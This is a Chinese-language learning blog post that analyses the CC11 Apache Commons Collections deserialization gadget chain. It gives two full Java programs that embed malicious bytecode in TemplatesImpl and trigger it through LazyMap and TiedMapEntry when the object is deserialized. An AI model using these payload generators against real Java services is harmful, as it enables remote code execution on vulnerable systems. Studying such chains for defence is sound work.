保持学习感觉,趁热打铁学下去🤓
说是CC11比较好用,后续会接触到,既可以加载恶意类,影响版本也比较广,学习!
CC11分析
这条链子说是CC2+CC6结合,后面利用到恶意类加载,简单回顾一下之前两条链子
之前在学CC3涉及到恶意类加载已经写过了CC6的恶意类加载版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package com;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException { byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{calc}); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<Object,Object>(); Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"bbb"); decorateMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(decorateMap,chainedTransformer);
serialize(expMap); unserialize("ser.bin"); }
public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object,fieldValue); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
先比最开始的用多个组合InvokerTransformer
成ChainedTransformer
的版本,这个版本把templates
和一个能调用TemplatesImpl.newTransformer
的InvokerTransformer
组合成新的ChainedTransformer
,后面其他的没有怎么变。

而现在的CC11直接不用Transformer
这个类,因为没必要,把有恶意字节码的templates
当成key被加载进去就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class")); setFieldValue(templates,"_name","Calc"); setFieldValue(templates,"_bytecodes",new byte[][]{code});
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap<Object,Object> hashMap = new HashMap<>(); Map decoratedMap = LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap,templates); HashMap<Object,Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"aaa"); decoratedMap.remove(templates);
setFieldValue(decoratedMap,"factory",invokerTransformer);
serialize(expMap); unserialize("ser.bin"); }
|
正着看一下逻辑,这次不把templates包进Transformer,而是直接
1
| TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap,templates);
|
如果对应看TiedMapEntry这个类的构造函数,会发现

此时在TiedMapEntry里面,map是decoratedMap
,我们会控制它是LazyMap,key是 templates
我们知道链子会触发getValue(),进入后,也就是LazyMap.get(),之前我们不会在乎括号里的this.key
是什么,这次我们把templates
传进去,一直跟进

此时transformer里面
Input -> templates
this.iMethodName -> newTransformer
那这样对应的代码效果就是,反射执行了
1
| templates.newTransformer();
|
那就达成我们的目的,恶意类加载,整体思路就是这样,还是很好理解的!